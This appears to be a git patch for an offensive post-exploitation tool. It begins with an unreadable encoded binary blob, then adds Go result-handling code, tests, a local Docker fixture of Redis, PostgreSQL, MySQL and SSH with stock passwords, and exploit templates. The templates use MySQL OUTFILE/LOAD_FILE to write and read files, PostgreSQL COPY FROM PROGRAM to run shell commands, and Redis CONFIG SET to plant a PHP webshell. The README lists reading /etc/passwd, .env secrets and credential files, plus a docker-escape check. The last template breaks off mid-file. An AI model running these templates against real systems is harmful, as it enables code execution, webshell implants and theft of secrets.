zsnP9S#^5eZw^zPiDRn4IN8g41kb@vY;Je_9BJ8AT!=if8&;^R>8jJIbS0^jxx^>uX#6 zl>{MwOUjRpKBHdee(TjnSLfn%@qm08NnP|YP5o&JpqEB_<5J5y3FsdnaTw)kA6&SH z8h6Kql)Lm+#H=?gTSl`h?0Htu?gqAvkb@kft>Qa($y67L?=ZwgeE^*S67^=SQ8Ha4 zZEqaVPuO)~{ZXv}9vna$6G8d#8Q3ENx!?eQ+Tf@QK7eMU*L>7_vI(|*-$n0{^#+Uj zqpc^kt;gWOn{Q4I_N&0f=Lmd_>~p#ac7}|4sNQTgYU=->3;U4au*qU1^9*FuEaOfH zvh@zwF6Ag9Aj)S@5alyfFhvqLGQds60cNpxG4!B2q=Lb!?=Zv>WcF~9*(=8a2Yt$a z00bA%#ZJiODFGb0eHAuE4tR|j1ekCEiH$ORUcS&8&Q3U0CZO7 z@Eh3;*iqe-@kZ;7GzE&mC-eckg&=G$I z!jnM?EFpmETS|ovK_rpHT$0z7%Q!E_jWsKNY5$-g>I=s z8_UYu>_As`{;k>CS|WavV+%ij?^_Q$&&B|CeXXfzX*bdgBUsVDVu~FFtBr&qbgr+H zhnpMyCQ4ZC=*QSjPJvc(T|LJ++;;dW#c6fztdny-r`0VooHi_4)Jas11I(Awm6c{g z2Kc*-&0+$T6u9=-ASRgR#Qd^VW@_`QUVVft=G&_>mh;rOwDQ(SD{rNLT~>{UQ(acE z8iXCA-K-jNRLr-Hw$Z9JmQ-hMs)kN@GTO#_WYrW8j1wl+a^@bSJdm}@XfvwYEQzU- zHMn7Q`tQkIz??vv@|g%v-p&NKs#3pb)>Zzl?1HcCwA?MF)a!wN_CuCfSF5{-Hm@3% zfq$~q5&U(@=a>Gga=V9r!gE(Dc6PLV2D-`UWbs?%QzlkJX#-4oHWH`HF7X@!oNSaE zN!E?(96P9#QoM91Sbw+xTru>-5cL@yTunv@4plFUWetaIOW|I&7z4g4S_SeSE_8OJ zta-*R5Nm@&bQ$o(7kcC{Jud%JgTrGX<rm8>X!wE*I#Dx<4A4CV2G(FQs) z4Z`!@nag)H85wQRT)TUJNea+mGr7_It6R>bNO@k99>W1BC&Lm-iOG6nK{7mDO?oj#3wOyzVPU|oTuS1<6VFdMcY z8r4^p!J|!yVANfY_WQ2;^6laF!OJYrj<>tr_eXDcv)MbZPLAHZJnU?|h8M7_kn@s2 z%SBG-`w)bBg%>}Z6h?QC`Y-UO#n71Pp#&_GU5kLJONyL-R$azzp14sae9?;j!z)>0 zzxa<0^C>hx{q*HZyyL3#*1XSiB%&jI3k{-G&_zEM4WH+u_lN$$l}fgK(36|PH=lP> zLn;~-FMhsX52n|u0wei$$H->LrYm_+`GA@oV{__}{8siz{?t!Z5~s6GT~{Caw__J- zClLLwJnLb9FCbX;Y2(T!_+!LLz|<~Nj%;<%s#D+4|K4xCs%*}R5UYs#xkf$I8NljP0KGvIqrJLplIhLfVk$SY5YR17>gBackJ znQ^92Sty-m0)Y+n?Pv@I)ARkI?_DVty@*F7nR>Z@O9qm!W_Wh0_>PYdR*bWeSj`mx zQ_eIOzDFzX6g2d)a=0yd5IX$UX>#USwk&<_Id#z4r%bXh#Ae!TNsYT=HGMckI?+oFrWVP<>sO(2&;DazE$zz zPNKoy?RAnDTXl|vz+}MdT3ETi&M5svOk~US1IxvBU0vI99HugH{rDVeeXy*xn8Mce zwFGC%qqps2bBD9OI`WZzH8X_2NIiH*|tCuu5ut6P>)MZ%Ab@f2Nl$Ks@`{dAvA zZhFn3IcLpNLZ(wD$iV`9hLH*VQqm-DR8E}y-@p9xFF*e`^s`&8I_p7yePIvj?!3Gdim@0a711-BKO9Y3uWndLU@ML zUF^!uu5LV+Cwa)hftSK)dVwQ|MrC)+l@1S%e>2xl%gLGtO6@Ft19iG>IS$2%m*q~f zpr^Ipg)ZRB_m-vnTcFcPA;bhOBI*Et`KEl)m~?t^BzjuFSAp^R{fQaINE7#2)+d#Z z4NeIxdP&5rx^u6fmK%qNh?vM)T=hCbvT#61&Ff=ep#ogzrQfu>5*rg9`Dp50+1s~) zh2m`kaO_0*Mc@*|poLv5u4-VLgy=#H*pL8f$!1|%6%bTyg?yv|5nRG5dKaI6R7xK* zuL6%cxPPVYDzD1wb;%7a_qJ>7Z7#=zkTc&rYK9lbA~YW(O?t&zDC&fE{r3$*o#vnnFbK6V!LGlc9j4vKNOh;9lF_J=ivf7 zPkj`z_~k7#N4HGDthkLDqB_=}n>nKH89H0<{V-F1t|=OePHxJgYQfuM&U(@;hqgeh zr$&IuAa%_~9_xvgJGzd4sSNXZk1RO_8;lSIfob#f{l;qbcViafwG8@J=?}pS0ufs%sG}lr!MK5n{kyiFvl^Ad@%M4 zlL`(-WgW@8^2LV_`@PpkFM9h&U+*3E_I6($p6s1`|Cu>+3y|gIrE8v1OEa7~?vfR_ zZf9qbA1-k)=~po1Jf3lR>B=q0%Z1m~=1aG5J2NyJm96FQ>nCVgSO*2d_@@(H+gH25 zXtZv*rN=YPye7gSS)QiY+EAiokDHI0m7m? z4llht4h`ksLU`$ilb5EPaOv1m+_0P<XhU-m82@CR8FbA=C)Ny?P33#ovGx%NCD_4U)@bol&2=URbw_9K;!ZG zzQ2G>kzFi*TU`059lj4M>!J~5PFP3&Of}xN1-?KBzXdy#aO$GW7fqWI2MbI|8$hCa z@Zpt9VbX;UIhTDVT|&phBzy`uVg!0<+FJ%k(UkrWzW(~<38<|ZuM4#bc${0ZtYzJMIt;QHEv96f%2_#pZ?_!3mw74T&|)=kv`cG>`{ z>3bhdmk!jhFzHi0DyaHy1K$w{da6jxBx&QIJ`7x8M%}7999*L_G_q`n-3`aG0{8AQvMQ!+`=Cl~jSC=ZIuVZ0aDR-Kg9xfR2y45N8CLgrV|6h|F z0-b;HhkyO=zx?H|fBxf7Km7Yo|Muq$1T5;n&r-Z9;o80qW$J`TZ8aK=m59}5YwO{o z$4ko9`bBdQi8^08u0kH#kU)1Kap+@wz8)s7@ASV2Qpe`LD_8`)&ddOnW ztB;UX*#sLKNfQaoUaJZ!zvez9f1~);uj}e}Wiye#zsmVWMcEe}If+VTGqHs=DfFcD z?lnQDGodp&+zn@anO==nL3qbgTSkABC+l<8<37V=(BsGsEXmOGzMcvjPnG6=hpo?9irD^%?CW&MAY|5MEWKS$u8}q2mmpYT_VnGwf@`ejR-S zgx}En0c?gGLQ>%78?>*puP@f?_%r;q0kUYW{X#ZDz6c-p;hko+aQ=^zj z$?8Pv={J&#xHZWO=aVRvK&-3jEbY0f0)Z|?-FG1-Rq#dqi#f)A_{t9HTI8tg0|to* z_ao8Lt4pZz11wxNsae(UGdK z9_^`=vunU$9}?K(i1XF>7koxNllq83L0M_9!%QJ$XlQ4R$5S$i=TkD@WIQDibR!@p z06rxEoRaHP1;JCJeVPH_sZl+RAsD_*K&aj#4`NrnIyG)il})a2saJowoROIk4Pg(9 z35KX~8AR(QSrCV1Cg@`_&kS`4Eh zRno4@5%KDM20f%vSM!JdbBTstQ3odHZl@1jjw&nl%}GQJw``NqKpfKNyRvxdNxmxj2_hfa(UnIq~oK`@= z=NDK~hG|0&F*ws(K2fn8GUDdd_}5SW{P#cp-9P^L$3JE9620!}?~JpP0FDp_*z)YV zW+~f_(_NWZ)bnb#?zgt?w;tx}fHRdl%d_kL(69T9N=4U)l0$z9#3Xwvu zL9jeaOH7ttv!D|8`UT}2oV_?c(3TtKf~l3ywztPFIl6 za`O{;J;c6`iYkAI3wAY&NuOE1C+8&Bwhn#2F68>u&Un9|y);gg6CIwd*(q|?o9-4l z>lJp4EWIdsKE^YPa&D^6}5WCQFE@!IcHdmDqeuOWIUNEKci+hRZxGaygu0Td>46$2sQf3EEndq znw6>E#x=5xtRa|kh~(Lf^W>&Rw|5zXyEKt6+QSM0;qt2m%tpwdBLyj(MJ%rmJ`^R6 zsW#+fFYggN2RpF^3U2J-~;?{rdJC9n?bIE?LuWj`!iA$E09~*r}z0UpCtBtNs&*|a;`7)Ba=wq7t(-J^0 zjdswbmUR-)-$LRr%F}MSa1S-^jtePw>8*%aZ&?r5t)SfvY#Sj5IYwKBeD0E| zE)?=%h>Q9FIs+u?&03>m21nZ7IG~@f>%#h@S_6MPIDj@Lg7V=rutx-P!2z_vQ5Spw z%|@^JsP|+OZ2P{8-XrS`7WGG4Pik9_!Gky7oE+>|fs4-(_!`;gbQA0h8TC-T*=*F* z|3Me_A;V#l#YpBE$Yx%~oe*T}9k5->QA9wL&!8a6XR2U|ByePtn~DR>V(((;L3c<6 zgH?auVTdEh?BOJ{SH1=g`ji0(E})B@kjqm7ICA?cl8PMg8Z!tm;Q|sHW%#^&p*5VH za6CDQopJ_Q3d0PpDycJ{#Nu41bVw%*A1G`aKR<#~TUO^+Tp(}dnNsCKD^)|m(xR6} zTlq30;GV<&IW%oVM4_1ItYqRhvKz3Yx+#C-pw^$CmJy$QlaE7mDHyZ`O^`TXH1OLX zT5&ALMxdKXEY_2_KrHqTO^H^HWn5W-0DMRT*8vs+r>Dk)+856^Pfv}U46K+!AV(%9 z91)HuGM(qdPfJCFDqSSZNKxR}>7?lD+#;rnZA3USIUcmvPFeO4k^%D2OyWW=3=!Ff;!H_&MtxN= zE(Serv=>PM1vA_^zhHn|Uxz>A$^0KoK&-8uW2~{BdJ8DSJDg}jZsdF65%G>NfS9T<>+1gqnq?1t#KY!o19(JCM0qXi%Q_<3H zq!~uAqJPB{I|^1C2}9^yUndVYH~LMK!`ji0v7MX(t>n6Tj&r!}@KcJ@>e^W+=X_49 zTVyzGShT2%v zp;XJ6d$#gG)+(dTsBW_)rb^b}hSeFtCwBpJ0&U7?B0PCJ6Wppw{i0b{DZR1_zOn;! zx0GeC2maX)Sz=wS?jqW}YFGyT$yP`3*Cn4{MzBiv9)AkYU8&gF(e@eWCZm(ZZ;?-# zSPi8OFy+}uoG!b>a|m#z{&pi)Zl(xG7e;R0~Q&=W({XLN8i86h}Sy)2eU z9JVcmd)ZVIKIbYXmcFx3>zcY7J@d&#ibByS!A{AQL%hi|8#Ukxr#FHut{1yI=_i%(Uu zqWIMUh?}a6uI_x4#|K6m=*Tn(kAP?Hwk*+(!Pa1nLZp~qPEHu$n#w&lJj=@ zfbKDs({+G#1&&_5z@Nfw*n((OUs(o^HYI{lcRkwgyY9=khua4)vp_rE?snfFz1_`b z@4PxWdh_zIv+){Uz^+2hO9CwyIi25!Ak-_o_<5x;x_i`rfj=#V#!L?-V43V%1Wa90 zob3u55xoM4SXn?K0)aR%fp|^$q>+ z{no3>=8QW7R(1u@*imKgihp!d?nKIp9dS`)7`(Oyvh`)uCFyo-rPI`z6Z5~ z9>r-mDQb+o@{~x$z=JdL$mE+D#|)K)(rG3T*ihe&#!xUl-yizkm15D0ctnz^mw&r= zAo*&BXQztq_*7xVI2(!8+zK$|m~-K)wek)|Lmw-L+mdIa!*87?$Dn1)(nq0FXPO^arp=brm^?r~8#hs-ENtS^J4TJ1S!u+`{Y$#|cI$Vpz4hD2;lG{vSKs=$J{nT! z;livAPWMO2;-XhM=pAOzval$36@PBrrsVnKsM)l{zv$&H=SSF_^%qM+*y+A~)p_t8 zG(R=Wr{90Mxo8T)s$ITsReZRUXs~yC!{o(Qog*PI8SuImR_@O;NtZTr~V;jFKYe57B^4B;;lP^=m$+kek!8}If& zc&gW^8Vqrt5{|+=E`9LCs2VP`kgFq@*o+L5wjs&QhT>68g_umGQ7WJ14`G>IFP6DR-kFaPw@ z5B~}M?3Sy}deC3r8HNU0WYr1!%8_(rQ9&&Ktr7)Ua;0U5o*Lvi9|xsxpDY3+BRJNfdxWhws_=yXyDF@cMSI)6aEDPJ@uon9P? zo)+*`V7z{RVumr&#C?|aN#$dMQv!=#5;3dp+*_&T#vvjiCbAY+z0Qy<91v3T`WRTK z0M~ixH|?&(#)L;cntE6E_S?Wh@wNdtb|U;Da0z12!Y&q9HLy)WbRh<8NC35DvoNg+ z2&%S1KGJ{)E@2hDi+@ilr4N}`fkz$Ozf#wiS7r4&WdL0wI}iv2B(h791N1d=m=d0j z3?wsH6S`9ljn|#YR=-z{9;{y zjHmm%!9)Sn^9>nLBP2;EC64{m)|cjp}&1BWNzu{tbv^uBzm@uNqzM&_D0 zb3Z&U(AFo;s)#)M*lEWHH{o`WvsQamgN+pY~u{6hP#|kt(pK$h60Yt-X*?( zdu@C7VDE6}=zp+#wEr@s<#qfWBPA4HQRdaoxSxBNN&eot9Sd@VEQt<#qM(^7ac%0M zq~M4_+eN=g5`t2#Qf1Mt%BgEW^-;v)m$%Fu-7*EU;x=lC>R5kn=7_py=xn|B!%Y1P zPSIF&a#I#n3*H`c){|yAv;|^4H3CcqscSa!SWmRv(SLPJWth)0p4I9wwjJUo*=$&PJgJuvGYd_8%u(9YLh5 zxG@`UH04}GE|#OM(w8EolB1^L8C_5}P!>b=J@4a zJpUS)cz+^U0*OoS_Cgqs561rJq=JJ{Sx54&eDUGKe(&|si{Adx*L#P(z1^3GCwnKq z|ID1Z1<3O9(lyVhr5Vl~cgYG|x3e?J50^NY^fMT89?!VEbmbQ0<-+S~^QBw3of(>q z%GPrD^%Jx#tb+n!{L_i9?Wh7k@4S?g5)(i7Xn7brTJ=-Oc zr@vJlES5GMwk;9%PN6p90AbM`hnHR+hlcVmA-weM$xBmCxO8kOZdlHb^4I_Rk01Zx WPZ9AF$2%{OiF``#{VxCj0RR8C! 0 { + if event.OperatorsResult == nil { + event.OperatorsResult = &operators.Result{} + } + event.OperatorsResult.Response = resp + if len(payloadValues) > 0 { event.OperatorsResult.PayloadValues = payloadValues } callback(event) diff --git a/service/load_test.go b/service/load_test.go index f734389..dc87687 100644 --- a/service/load_test.go +++ b/service/load_test.go @@ -88,6 +88,53 @@ func TestLoadAllTemplates(t *testing.T) { } } +func TestLoadLootTemplates(t *testing.T) { + lootDir := "../../proton/templates/loot" + if _, err := os.Stat(lootDir); os.IsNotExist(err) { + t.Skipf("loot templates dir not found: %s", lootDir) + } + + var total, passed int + filepath.WalkDir(lootDir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") { + return nil + } + total++ + + data, err := os.ReadFile(path) + if err != nil { + t.Errorf("read %s: %v", path, err) + return nil + } + + var raw map[string]interface{} + if err := yaml.Unmarshal(data, &raw); err != nil { + t.Errorf("unmarshal %s: %v", path, err) + return nil + } + if raw["id"] == nil { + t.Errorf("%s: missing id", path) + return nil + } + if raw["file"] == nil { + t.Errorf("%s: missing file section", path) + return nil + } + + passed++ + t.Logf("OK %s (id=%v)", filepath.Base(path), raw["id"]) + return nil + }) + + t.Logf("\n--- Loot templates: %d total, %d passed ---", total, passed) + if total == 0 { + t.Error("no loot templates found") + } +} + func hasAction(op *Op) bool { return op.Shell != "" || op.DB != "" || op.KV != "" || (op.File != nil && (op.File.List != "" || op.File.Read != "")) || diff --git a/service/service_test.go b/service/service_test.go index 33dd49e..963c9dd 100644 --- a/service/service_test.go +++ b/service/service_test.go @@ -632,6 +632,111 @@ services: } } +func TestResponsePreserved(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"id": "uid=0(root)", "hostname": "box1"}, + } + + yamlData := ` +ops: + - shell: "id" + name: whoami + - shell: "hostname" + name: host +matchers: + - type: word + part: whoami + words: ["root"] +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + t.Fatalf("execute: %v", err) + } + if result == nil { + t.Fatal("expected result") + } + if result.Response == "" { + t.Fatal("Response should contain raw op output") + } + if !containsStr(result.Response, "uid=0(root)") { + t.Errorf("Response missing id output, got %q", result.Response) + } + if !containsStr(result.Response, "box1") { + t.Errorf("Response missing hostname output, got %q", result.Response) + } +} + +func TestResponsePreservedWithoutMatch(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{"echo hello": "hello"}, + } + + tmplYaml := ` +id: no-match-tmpl +service: [ssh] +info: + name: No Match + severity: info +services: + - ops: + - shell: "echo hello" + name: greeting + matchers: + - type: word + part: greeting + words: ["NOMATCH"] +` + var tmpl Template + if err := yaml.Unmarshal([]byte(tmplYaml), &tmpl); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := tmpl.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + result, err := tmpl.Execute(session, "10.0.0.1:22") + if err != nil { + t.Fatalf("execute: %v", err) + } + if result.Response == "" { + t.Fatal("Response should be populated even when matchers don't match") + } + if !containsStr(result.Response, "hello") { + t.Errorf("Response missing op output, got %q", result.Response) + } +} + +func containsStr(s, sub string) bool { + return len(s) >= len(sub) && (s == sub || len(s) > 0 && findSubstr(s, sub)) +} + +func findSubstr(s, sub string) bool { + for i := 0; i <= len(s)-len(sub); i++ { + if s[i:i+len(sub)] == sub { + return true + } + } + return false +} + func TestLegacyOpsCompat(t *testing.T) { session := &mockShellSession{ svc: "ssh", diff --git a/service/template.go b/service/template.go index 7f84db5..bf3ad1d 100644 --- a/service/template.go +++ b/service/template.go @@ -142,6 +142,7 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, scanCtx.GlobalVars = t.executionVariables(host, cliVars) var merged *operators.Result + var allRawResponses strings.Builder previous := make(map[string]interface{}) dynamicValues := copyMap(scanCtx.GlobalVars) for k, v := range scanCtx.Payloads { @@ -155,6 +156,12 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, if event.OperatorsResult == nil { return } + if event.OperatorsResult.Response != "" { + if allRawResponses.Len() > 0 { + allRawResponses.WriteString("\n") + } + allRawResponses.WriteString(event.OperatorsResult.Response) + } for k, v := range event.OperatorsResult.DynamicValues { if len(v) > 0 { dynamicValues[k] = v[0] @@ -176,8 +183,9 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, } if merged == nil { - return &operators.Result{}, nil + merged = &operators.Result{} } + merged.Response = allRawResponses.String() return merged, nil } diff --git a/testdata/service-template/.gitignore b/testdata/service-template/.gitignore new file mode 100644 index 0000000..89f9ac0 --- /dev/null +++ b/testdata/service-template/.gitignore @@ -0,0 +1 @@ +out/ diff --git a/testdata/service-template/README.md b/testdata/service-template/README.md new file mode 100644 index 0000000..1b94074 --- /dev/null +++ b/testdata/service-template/README.md @@ -0,0 +1,95 @@ +# Local Service-Template Docker Tests + +This fixture starts minimal Redis, PostgreSQL, MySQL, and SSH services on +localhost-only high ports and runs zombie service templates after a successful +login. + +Ports: + +- Redis: `127.0.0.1:16379`, password `zombie_redis_pass` +- PostgreSQL: `127.0.0.1:15432`, `zombie:zombie_pg_pass` +- MySQL: `127.0.0.1:13306`, `zombie:zombie_mysql_pass` +- SSH: `127.0.0.1:10022`, `zombie:zombie_ssh_pass` (built from `./ssh`) + +Run from the repository root: + +```bash +go test -tags docker ./integration -run TestServiceTemplateDocker -count=1 +``` + +By default the `Existing` scope loads real templates from +`../proton/templates/services`. Override this checkout layout with: + +```bash +ZOMBIE_SERVICE_TEMPLATES_DIR=/path/to/proton/templates/services go test -tags docker ./integration -run TestServiceTemplateDocker/Existing -count=1 +``` + +Run a focused scope: + +```bash +go test -tags docker ./integration -run TestServiceTemplateDocker/Smoke -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Payload -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/PostExploit -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Existing -count=1 +go test -tags docker ./integration -run TestServiceTemplateDocker/Exploit -count=1 +``` + +The Docker integration test cleans the fixture with `docker compose down -v` +after the run. Manual cleanup: + +```bash +docker compose -f ./testdata/service-template/compose.yaml down -v +``` + +The Redis fixture enables protected config changes so Redis file-write +templates can be reproduced locally. Keep it bound to localhost-only ports. + +Template layout: + +- `templates/smoke`: baseline post-auth execution checks. +- `templates/payload`: command-line `--payload` behavior checks. +- `templates/post-exploit`: Docker-only post-exploit capability checks. +- `templates/exploit`: Docker-only high-risk exploit reproductions. + +Exploit templates use Nuclei-style `variables`, and CLI overrides use +Nuclei-compatible `-V/--var key=value`. Request-level payloads can be supplied +or overridden with repeated `--payload key=value` flags: + +```bash +go run . -i mysql://root:zombie_mysql_root@127.0.0.1:13306 --no-honeypot --no-unauth --service-template ./testdata/service-template/templates/exploit/mysql-outfile-local.yaml -V outfile_path=/tmp/zombie_mysql_custom.txt -V outfile_marker=zombie-custom-ok +go run . -i redis://:zombie_redis_pass@127.0.0.1:16379 --no-honeypot --no-unauth --service-template ./testdata/service-template/templates/payload/redis-payload-cli.yaml --payload payload_key=zombie:payload:cli-a --payload payload_key=zombie:payload:cli-b +``` + +Service templates also support request-level `payloads` plus `attack` +(`sniper`, `pitchfork`, `clusterbomb`) and both `{{name}}` and `§name§` +placeholders. If `-V` and `--payload` use the same key, `--payload` wins for +payload iteration. + +The existing-template smoke currently covers these existing templates from +`../proton/templates/services`: + +- `redis/redis-info-gather.yaml` +- `redis/redis-config-check.yaml` +- `redis/redis-sensitive-keys.yaml` +- `redis/redis-mdut-rogue-prereq-check.yaml` +- `postgresql/postgresql-info-gather.yaml` +- `postgresql/postgresql-mdut-capability-check.yaml` +- `mysql/mysql-info-gather.yaml` +- `mysql/mysql-credential-columns.yaml` +- `mysql/mysql-user-enum.yaml` +- `mysql/mysql-udf-check.yaml` +- `mysql/mysql-mdut-capability-check.yaml` +- `ssh/ssh-info-gather.yaml` +- `ssh/ssh-env-files.yaml` +- `ssh/ssh-credential-files.yaml` +- `ssh/ssh-docker-escape.yaml` + +The local post-exploit smoke currently covers these capability paths: + +- Redis: sensitive key/value read, token key discovery, RDB-backed file write. +- MySQL: application credential table read, `/etc/passwd` read through + `LOAD_FILE`, `SELECT ... INTO OUTFILE` write. +- PostgreSQL: `/etc/passwd` read through `pg_read_file`, `COPY FROM PROGRAM` + command execution and file write. +- SSH: command execution, remote file write/read, `.env` secret read, credential + file path discovery. diff --git a/testdata/service-template/compose.yaml b/testdata/service-template/compose.yaml new file mode 100644 index 0000000..6ea103b --- /dev/null +++ b/testdata/service-template/compose.yaml @@ -0,0 +1,82 @@ +name: zombie-service-template + +services: + redis: + image: redis:7-alpine + command: + - sh + - -c + - mkdir -p /var/www/html && chmod 777 /var/www/html && exec redis-server --requirepass zombie_redis_pass --dir /var/www --save "" --appendonly no --enable-protected-configs yes + ports: + - "127.0.0.1:16379:6379" + healthcheck: + test: ["CMD", "redis-cli", "-a", "zombie_redis_pass", "PING"] + interval: 2s + timeout: 2s + retries: 30 + + redis-init: + image: redis:7-alpine + depends_on: + redis: + condition: service_healthy + command: + - sh + - -c + - | + redis-cli -h redis -a zombie_redis_pass SET zombie:template zombie-template-ok && + redis-cli -h redis -a zombie_redis_pass SET app:password zombie-secret-pass && + redis-cli -h redis -a zombie_redis_pass SET api:token zombie-token && + redis-cli -h redis -a zombie_redis_pass SET service:credential zombie-credential + restart: "no" + + postgres: + image: postgres:16-alpine + environment: + POSTGRES_DB: postgres + POSTGRES_USER: zombie + POSTGRES_PASSWORD: zombie_pg_pass + ports: + - "127.0.0.1:15432:5432" + volumes: + - ./postgres/init:/docker-entrypoint-initdb.d:ro + healthcheck: + test: ["CMD-SHELL", "pg_isready -U zombie -d postgres"] + interval: 2s + timeout: 2s + retries: 30 + + mysql: + image: mysql:8.0 + command: + - mysqld + - --default-authentication-plugin=mysql_native_password + - --character-set-server=utf8mb4 + - --collation-server=utf8mb4_unicode_ci + - --secure-file-priv= + environment: + MYSQL_ROOT_PASSWORD: zombie_mysql_root + MYSQL_DATABASE: zombie + MYSQL_USER: zombie + MYSQL_PASSWORD: zombie_mysql_pass + ports: + - "127.0.0.1:13306:3306" + volumes: + - ./mysql/init:/docker-entrypoint-initdb.d:ro + healthcheck: + test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$${MYSQL_ROOT_PASSWORD} --silent"] + interval: 2s + timeout: 2s + retries: 40 + + ssh: + build: + context: ./ssh + image: zombie-service-template-ssh:local + ports: + - "127.0.0.1:10022:22" + healthcheck: + test: ["CMD-SHELL", "nc -z 127.0.0.1 22"] + interval: 2s + timeout: 2s + retries: 30 diff --git a/testdata/service-template/mysql/init/001-init.sql b/testdata/service-template/mysql/init/001-init.sql new file mode 100644 index 0000000..7aff8f6 --- /dev/null +++ b/testdata/service-template/mysql/init/001-init.sql @@ -0,0 +1,18 @@ +USE zombie; + +CREATE TABLE smoke ( + id INT PRIMARY KEY, + marker VARCHAR(64) NOT NULL +); + +INSERT INTO smoke (id, marker) VALUES (1, 'zombie-mysql-ok'); + +CREATE TABLE app_credentials ( + id INT PRIMARY KEY, + username VARCHAR(64) NOT NULL, + password_hash VARCHAR(128) NOT NULL, + api_token VARCHAR(128) NOT NULL +); + +INSERT INTO app_credentials (id, username, password_hash, api_token) +VALUES (1, 'demo', 'hash', 'token'); diff --git a/testdata/service-template/postgres/init/001-init.sql b/testdata/service-template/postgres/init/001-init.sql new file mode 100644 index 0000000..8a64788 --- /dev/null +++ b/testdata/service-template/postgres/init/001-init.sql @@ -0,0 +1,6 @@ +CREATE TABLE smoke ( + id integer PRIMARY KEY, + marker text NOT NULL +); + +INSERT INTO smoke (id, marker) VALUES (1, 'zombie-postgres-ok'); diff --git a/testdata/service-template/ssh/Dockerfile b/testdata/service-template/ssh/Dockerfile new file mode 100644 index 0000000..22365dc --- /dev/null +++ b/testdata/service-template/ssh/Dockerfile @@ -0,0 +1,13 @@ +FROM alpine:3.20 + +RUN apk add --no-cache openssh-server \ + && adduser -D -s /bin/sh zombie \ + && echo "zombie:zombie_ssh_pass" | chpasswd \ + && mkdir -p /run/sshd \ + && printf "\nPasswordAuthentication yes\nPermitRootLogin no\nUsePAM no\n" >> /etc/ssh/sshd_config + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +EXPOSE 22 +CMD ["/entrypoint.sh"] diff --git a/testdata/service-template/ssh/entrypoint.sh b/testdata/service-template/ssh/entrypoint.sh new file mode 100644 index 0000000..3d98dbe --- /dev/null +++ b/testdata/service-template/ssh/entrypoint.sh @@ -0,0 +1,5 @@ +#!/bin/sh +set -eu + +ssh-keygen -A >/dev/null +exec /usr/sbin/sshd -D -e diff --git a/testdata/service-template/templates/exploit/mysql-outfile-local.yaml b/testdata/service-template/templates/exploit/mysql-outfile-local.yaml new file mode 100644 index 0000000..92e6c0a --- /dev/null +++ b/testdata/service-template/templates/exploit/mysql-outfile-local.yaml @@ -0,0 +1,26 @@ +id: local-mysql-outfile-write +service: [mysql] +variables: + outfile_path: /tmp/zombie_mysql_outfile.txt + outfile_marker: zombie-mysql-outfile-ok +info: + name: Local MySQL OUTFILE Write and LOAD_FILE Read Reproduction + severity: critical + tags: local,docker,mysql,exploit,file-write,file-read + +services: + - ops: + - db: "SELECT '{{outfile_marker}}' INTO OUTFILE '{{outfile_path}}'" + name: write_file + - db: "SELECT CONCAT('outfile=', LOAD_FILE('{{outfile_path}}'))" + name: read_file + matchers: + - type: word + part: read_file + words: ["outfile="] + extractors: + - type: regex + name: mysql_outfile_content + part: read_file + regex: ['(?m)^outfile=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml b/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml new file mode 100644 index 0000000..398390d --- /dev/null +++ b/testdata/service-template/templates/exploit/postgres-copy-program-local.yaml @@ -0,0 +1,28 @@ +id: local-postgres-copy-program +service: [postgresql] +variables: + cmd: id + pg_output_path: /tmp/zombie_pg_cmd.txt +info: + name: Local PostgreSQL COPY FROM PROGRAM Command Execution Reproduction + severity: critical + tags: local,docker,postgresql,exploit,rce + +services: + - ops: + - db: "DROP TABLE IF EXISTS zombie_cmd_exec" + - db: "CREATE TABLE zombie_cmd_exec(cmd_output text)" + - db: 'COPY zombie_cmd_exec FROM PROGRAM ''sh -c "{{cmd}} > {{pg_output_path}}; cat {{pg_output_path}}"''' + - db: "SELECT 'cmd_output=' || cmd_output FROM zombie_cmd_exec" + name: cmd_output + - db: "DROP TABLE IF EXISTS zombie_cmd_exec" + matchers: + - type: word + part: cmd_output + words: ["uid="] + extractors: + - type: regex + name: pg_program_output + part: cmd_output + regex: ['(?m)^cmd_output=(.+)$'] + group: 1 diff --git a/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml b/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml new file mode 100644 index 0000000..83e869b --- /dev/null +++ b/testdata/service-template/templates/exploit/redis-write-webshell-local.yaml @@ -0,0 +1,51 @@ +id: local-redis-write-webshell +service: [redis] +variables: + redis_dir: /var/www/html + redis_dbfilename: shell.php + webshell_payload: "" +info: + name: Local Redis Webshell File Write Reproduction + severity: critical + tags: local,docker,redis,exploit,file-write + +services: + - ops: + - kv: "CONFIG GET dir" + name: dir + - kv: "CONFIG GET dbfilename" + name: dbfilename + extractors: + - type: regex + name: orig_dir + internal: true + part: dir + regex: ['(?m)^dir\s+(.+)$'] + group: 1 + - type: regex + name: orig_file + internal: true + part: dbfilename + regex: ['(?m)^dbfilename\s+(.+)$'] + group: 1 + + - ops: + - kv: "CONFIG SET dir {{redis_dir}}" + - kv: "CONFIG SET dbfilename {{redis_dbfilename}}" + - kv: 'SET x "{{webshell_payload}}"' + - kv: "SAVE" + name: 